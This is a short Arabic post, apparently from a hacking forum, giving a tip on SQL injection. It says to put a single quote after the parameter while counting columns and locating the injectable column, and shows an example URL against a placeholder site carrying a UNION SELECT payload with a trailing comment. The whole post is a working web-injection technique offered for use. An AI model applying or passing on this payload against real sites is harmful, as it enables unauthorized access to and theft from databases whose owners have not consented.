برايي ازا وضعت
هي الاشاره ' بعد المتغير وانتا عم تبحث عن عدد الاعمده
وانتا ايضا تبحث عن العامود المصاب

مثال

http://www.xxxx.com/get_model_desc.php?name=PT01'+and[/url] union+select+1,2,3--